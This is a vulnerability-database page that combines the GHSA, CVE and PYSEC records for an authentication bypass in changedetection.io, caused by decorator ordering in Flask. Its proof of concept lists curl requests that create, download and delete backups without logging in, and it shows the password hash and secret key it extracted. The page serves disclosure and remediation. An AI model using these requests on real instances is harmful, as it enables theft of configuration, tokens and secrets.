Vulnerability-Lookup

GHSA-JMRH-XMGH-X9J4

Vulnerability from github – Published: 2026-04-06 18:00 – Updated: 2026-06-05 14:27

Summary

changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering

Details

Summary

On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes):

@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...

Incorrect order (13 vulnerable routes):

@login_optionally_required          # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')  # ← Registers raw function
def download_backup(filename):
    ...

POC

=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302

=== PHASE 3: Cross-Verification ===

Verify protected routes still require auth:
  /         -> HTTP 302 (302 = protected)
  /settings -> HTTP 302 (302 = protected)

=== RESULTS ===

PROTECTED routes (auth required, HTTP 302 -> /login):
  /              HTTP 302
  /settings      HTTP 302

BYPASSED routes (no auth needed):
  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)
  /backups/                HTTP 200 (lists all backups)
  /backups/download/<file> HTTP 200 (downloads backup with secrets)
  /backups/remove-backups  HTTP 302 (deletes all backups)

[+] CONFIRMED: Authentication bypass on backup routes!

Impact

Complete data exfiltration — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration
Backup restore = config injection — Attacker can upload a malicious backup with crafted watch configs
SSRF — Proxy check endpoint can be triggered to scan internal network
Browser session hijacking — Browser steps endpoints allow controlling Playwright sessions

Remediation

Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:

# Before (VULNERABLE):
@login_optionally_required
@blueprint.route('/backups/download/<filename>')
def download_backup(filename):

# After (FIXED):
@blueprint.route('/backups/download/<filename>')
@login_optionally_required
def download_backup(filename):

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.54.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T18:00:01Z",
    "nvd_published_at": "2026-04-07T16:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nOn 13 routes across 5 blueprint files, the `@login_optionally_required` decorator is placed **before** (outer to) `@blueprint.route()` instead of after it. In Flask, `@route()` must be the outermost decorator because it registers the function it receives. When the order is reversed, `@route()` registers the **original undecorated function**, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.\n\nThe developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.\n\n### Details\n\n**Correct order (used on 30+ routes):**\n```python\n@blueprint.route(\u0027/settings\u0027, methods=[\u0027GET\u0027])\n@login_optionally_required\ndef settings():\n    ...\n```\n\n**Incorrect order (13 vulnerable routes):**\n```python\n@login_optionally_required          # \u2190 Applied to return value of @route, NOT the view\n@blueprint.route(\u0027/backups/download/\u003cfilename\u003e\u0027)  # \u2190 Registers raw function\ndef download_backup(filename):\n    ...\n```\n\n## POC\n```\n=== PHASE 1: Confirm Authentication is Required ===\n\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/\nMain page:     HTTP 302 -\u003e http://127.0.0.1:5557/login?next=/\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/settings\nSettings page: HTTP 302 (auth required, redirects to login)\n\nPassword is set. Unauthenticated requests to / and /settings\nare properly redirected to /login.\n\n=== PHASE 2: Authentication Bypass on Backup Routes ===\n(All requests made WITHOUT any session cookie)\n\n--- Exploit 1: Trigger backup creation ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/request-backup\nResponse: HTTP 302 -\u003e http://127.0.0.1:5557/backups/\n(302 redirects to /backups/ listing page, NOT to /login -- backup was created)\n\n--- Exploit 2: List backups page ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/\nResponse: HTTP 200\n\n--- Exploit 3: Extract backup filenames ---\n$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup\nFound: changedetection-backup-20260331005425.zip\n\n--- Exploit 4: Download backup without authentication ---\n$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip\nResponse: HTTP 200\n\n$ file /tmp/stolen_backup.zip\n/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate\n\n$ ls -la /tmp/stolen_backup.zip\n-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip\n\n$ unzip -l /tmp/stolen_backup.zip\nArchive:  /tmp/stolen_backup.zip\n  Length      Date    Time    Name\n---------  ---------- -----   ----\n    26496  2026-03-31 00:54   url-watches.json\n       64  2026-03-31 00:52   secret.txt\n       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt\n     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br\n     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br\n    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br\n       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt\n    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br\n       73  2026-03-31 00:54   url-list.txt\n      155  2026-03-31 00:54   url-list-with-tags.txt\n---------                     -------\n   114721                     10 files\n\n--- Exploit 5: Extract sensitive data from backup ---\nApplication password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...\nWatched URLs:\n  - https://news.ycombinator.com/  (UUID: 4ff247a9...)\n  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)\n\nFlask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6\n\n--- Exploit 6: Delete all backups without auth ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/remove-backups\nResponse: HTTP 302\n\n=== PHASE 3: Cross-Verification ===\n\nVerify protected routes still require auth:\n  /         -\u003e HTTP 302 (302 = protected)\n  /settings -\u003e HTTP 302 (302 = protected)\n\n=== RESULTS ===\n\nPROTECTED routes (auth required, HTTP 302 -\u003e /login):\n  /              HTTP 302\n  /settings      HTTP 302\n\nBYPASSED routes (no auth needed):\n  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)\n  /backups/                HTTP 200 (lists all backups)\n  /backups/download/\u003cfile\u003e HTTP 200 (downloads backup with secrets)\n  /backups/remove-backups  HTTP 302 (deletes all backups)\n\n[+] CONFIRMED: Authentication bypass on backup routes!\n```\n\n### Impact\n\n- **Complete data exfiltration** \u2014 Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration\n- **Backup restore = config injection** \u2014 Attacker can upload a malicious backup with crafted watch configs\n- **SSRF** \u2014 Proxy check endpoint can be triggered to scan internal network\n- **Browser session hijacking** \u2014 Browser steps endpoints allow controlling Playwright sessions\n\n### Remediation\n\nSwap the decorator order on all 13 routes. `@blueprint.route()` must be outermost:\n\n```python\n# Before (VULNERABLE):\n@login_optionally_required\n@blueprint.route(\u0027/backups/download/\u003cfilename\u003e\u0027)\ndef download_backup(filename):\n\n# After (FIXED):\n@blueprint.route(\u0027/backups/download/\u003cfilename\u003e\u0027)\n@login_optionally_required\ndef download_backup(filename):\n```",
  "id": "GHSA-jmrh-xmgh-x9j4",
  "modified": "2026-06-05T14:27:00Z",
  "published": "2026-04-06T18:00:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35490"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/31a760c2147e3e73a403baf6d7de34dc50429c85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/changedetection-io/PYSEC-2026-28.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering"
}

CVE-2026-35490 (GCVE-0-2026-35490)

Vulnerability from cvelistv5 – Published: 2026-04-07 14:55 – Updated: 2026-04-09 14:37

Title

changedetection.io has an Authentication Bypass via Decorator Ordering

Summary

changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-09 14:36 UTC

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/dgtlmoon/changedetection.io/se…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
dgtlmoon	changedetection.io	Affected: < 0.54.8

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-35490",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-09T14:36:58.149739Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-09T14:37:01.267Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "changedetection.io",
          "vendor": "dgtlmoon",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.54.8"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-07T14:55:24.120Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4"
        }
      ],
      "source": {
        "advisory": "GHSA-jmrh-xmgh-x9j4",
        "discovery": "UNKNOWN"
      },
      "title": "changedetection.io has an Authentication Bypass via Decorator Ordering"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-35490",
    "datePublished": "2026-04-07T14:55:24.120Z",
    "dateReserved": "2026-04-02T20:49:44.454Z",
    "dateUpdated": "2026-04-09T14:37:01.267Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-28

Vulnerability from pysec - Published: 2026-04-07 16:16 - Updated: 2026-05-20 09:18

Details

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
changedetection-io	pkg:pypi/changedetection-io

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection-io",
        "purl": "pkg:pypi/changedetection-io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.38.2",
        "0.39",
        "0.39.1",
        "0.39.10",
        "0.39.10.post1",
        "0.39.10.post2",
        "0.39.11",
        "0.39.12",
        "0.39.13",
        "0.39.13.1",
        "0.39.14",
        "0.39.14.1",
        "0.39.15",
        "0.39.16",
        "0.39.17",
        "0.39.17.1",
        "0.39.17.2",
        "0.39.18",
        "0.39.19",
        "0.39.19.1",
        "0.39.2",
        "0.39.20",
        "0.39.20.1",
        "0.39.20.2",
        "0.39.20.3",
        "0.39.20.4",
        "0.39.21",
        "0.39.21.1",
        "0.39.22",
        "0.39.22.1",
        "0.39.3",
        "0.39.4",
        "0.39.5",
        "0.39.6",
        "0.39.7",
        "0.39.8",
        "0.39.9",
        "0.40.0",
        "0.40.0.1",
        "0.40.0.2",
        "0.40.0.3",
        "0.40.0.4",
        "0.40.1.0",
        "0.40.1.1",
        "0.40.2",
        "0.40.3",
        "0.41",
        "0.41.1",
        "0.42",
        "0.42.1",
        "0.42.2",
        "0.42.3",
        "0.43.1",
        "0.43.2",
        "0.44",
        "0.44.1",
        "0.45",
        "0.45.1",
        "0.45.11",
        "0.45.12",
        "0.45.13",
        "0.45.14",
        "0.45.15",
        "0.45.16",
        "0.45.17",
        "0.45.18",
        "0.45.19",
        "0.45.2",
        "0.45.20",
        "0.45.21",
        "0.45.22",
        "0.45.23",
        "0.45.24",
        "0.45.25",
        "0.45.26",
        "0.45.3",
        "0.45.4",
        "0.45.5",
        "0.45.6",
        "0.45.7",
        "0.45.7.1",
        "0.45.7.2",
        "0.45.7.3",
        "0.45.8",
        "0.45.8.1",
        "0.45.9",
        "0.46.0",
        "0.46.1",
        "0.46.2",
        "0.46.3",
        "0.46.4",
        "0.47.0",
        "0.47.1",
        "0.47.2",
        "0.47.3",
        "0.47.4",
        "0.47.5",
        "0.47.6",
        "0.48.0",
        "0.48.1",
        "0.48.2",
        "0.48.3",
        "0.48.4",
        "0.48.5",
        "0.48.6",
        "0.49.0",
        "0.49.1",
        "0.49.10",
        "0.49.12",
        "0.49.13",
        "0.49.14",
        "0.49.15",
        "0.49.16",
        "0.49.17",
        "0.49.18",
        "0.49.2",
        "0.49.3",
        "0.49.4",
        "0.49.5",
        "0.49.6",
        "0.49.7",
        "0.49.8",
        "0.49.9",
        "0.50.1",
        "0.50.10",
        "0.50.11",
        "0.50.12",
        "0.50.13",
        "0.50.14",
        "0.50.15",
        "0.50.16",
        "0.50.17",
        "0.50.18",
        "0.50.19",
        "0.50.2",
        "0.50.20",
        "0.50.21",
        "0.50.22",
        "0.50.23",
        "0.50.24",
        "0.50.25",
        "0.50.26",
        "0.50.27",
        "0.50.28",
        "0.50.29",
        "0.50.3",
        "0.50.30",
        "0.50.31",
        "0.50.32",
        "0.50.33",
        "0.50.34",
        "0.50.35",
        "0.50.37",
        "0.50.38",
        "0.50.39",
        "0.50.4",
        "0.50.40",
        "0.50.41",
        "0.50.42",
        "0.50.43",
        "0.50.5",
        "0.50.6",
        "0.50.7",
        "0.50.8",
        "0.50.9",
        "0.51.0",
        "0.51.1",
        "0.51.2",
        "0.51.3",
        "0.51.4",
        "0.52.1",
        "0.52.2",
        "0.52.3",
        "0.52.4",
        "0.52.5",
        "0.52.6",
        "0.52.7",
        "0.52.8",
        "0.52.9",
        "0.53.1",
        "0.53.2",
        "0.53.3",
        "0.53.4",
        "0.53.5",
        "0.53.6",
        "0.53.7",
        "0.54.1",
        "0.54.2",
        "0.54.3",
        "0.54.4",
        "0.54.5",
        "0.54.6",
        "0.54.7"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35490",
    "GHSA-jmrh-xmgh-x9j4"
  ],
  "details": "changedetection.io is a free open source web page change detection tool. Prior to 0.54.8, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes. This vulnerability is fixed in 0.54.8.",
  "id": "PYSEC-2026-28",
  "modified": "2026-05-20T09:18:54.357492Z",
  "published": "2026-04-07T16:16:27.317Z",
  "references": [
    {
      "type": "EVIDENCE",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-JMRH-XMGH-X9J4

Summary

Details

POC

Impact

Remediation

CVE-2026-35490 (GCVE-0-2026-35490)

PYSEC-2026-28

Tags

Sightings

Nomenclature

Related by attack behaviour